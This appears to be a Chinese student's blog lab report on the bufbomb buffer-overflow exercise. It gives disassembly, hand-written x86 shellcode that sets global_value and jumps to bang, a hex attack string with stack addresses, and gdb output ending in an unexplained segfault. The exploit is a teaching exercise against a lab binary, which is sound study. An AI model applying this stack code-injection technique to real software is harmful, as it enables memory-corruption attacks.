查看文章 |
实验内容:缓冲区代码攻击 在test调用getbuf,输入的数据中,加入攻击代码。 修改全局变量global_value,修改getbuf返回地址为bang函数。
实验分析:从bufbomb反汇编来看: 08048d60 <bang>: 8048d60: 55 push %ebp 8048d61: 89 e5 mov %esp,%ebp 8048d63: 83 ec 08 sub $0x8,%esp 8048d66: c7 04 24 02 00 00 00 movl $0x2,(%esp) 8048d6d: e8 2e fc ff ff call 80489a0 <entry_check> 8048d72: a1 dc a1 04 08 mov 0x804a1dc,%eax 8048d77: 3b 05 cc a1 04 08 cmp 0x804a1cc,%eax 8048d7d: 74 21 je 8048da0 <bang+0x40> global_value地址:0x804a1dc <global_value>: 0x00000000 Cookie地址:0x804a1cc BANG地址:0x08048d60 实验过程l 编写攻击代码 exploit.s movl 0x804a1cc,%eax movl %eax,0x804a1dc pushl $0x08048d60 ret l 编译: [ustc@zdyhost exp3]$ gcc -o exploit -c exploit.s [ustc@zdyhost exp3]$ objdump -d exploit exploit: file format elf32-i386 Disassembly of section .text: 00000000 <.text>: 0: a1 cc a1 04 08 mov 0x804a1cc,%eax 5: a3 dc a1 04 08 mov %eax,0x804a1dc a: 68 60 8d 04 08 push $0x8048d60 f: c3 ret
l 确定栈空间地址及分配 由于攻击代码占16个字节,已超出buf大小;解决办法是将输入缓冲区的数据加大,将代码放置到RET后面。 Getbuf栈空间如下所示:
0x08048e60 in Gets () (gdb) i r esp 0xbfffbdec 0xbfffbdec ebp 0xbfffbe08 0xbfffbe08 (gdb) x/x 0xbfffbe08 0xbfffbe08: 0xbfffbe28
l 攻击数据确定 前12字节存放无用数据 接着是test的ebp 接着是更改后指向exploit的地址 接着是exploit.s的攻击代码 [ustc@zdyhost exp3]$ cat exploit-Firecracker.txt aaaaaaaaAAAAAAAAaaaaaaaa28beffbf10beffbfa1cca10408a3dca1040868608d0408c3
转换为攻击代码: 0000000 aaaa aaaa aaaa aaaa aaaa aaaa be28 bfff 0000010 be10 bfff cca1 04a1 a308 a1dc 0804 6068 0000020 048d c308 000a 0000025
l 测试结果: [ustc@zdyhost exp3]$ gdb bufbomb 0xbfffbe10 in ?? () (gdb) x/x 0xbfffbe10 0xbfffbe10: 0x04a1cca1 //对比代码可以看出,攻击代码已在存入,并且准备执行 (gdb) si
Program received signal SIGSEGV, Segmentation fault. //这个错误实在让我想不通。 0xbfffbe10 in ?? () (gdb) si 0x08048a20 in seghandler () 实验结果从原理以及运行过程来看,数据攻击时,攻击代码已存入;并且在getbuf函数ret返回时PC已指向了攻击代码的开始地址。但是运行时出现错误提示:Program received signal SIGSEGV, Segmentation fault. 不知是否操作系统不支持栈空间代码运行?本人的操作系统是Fedora13 |

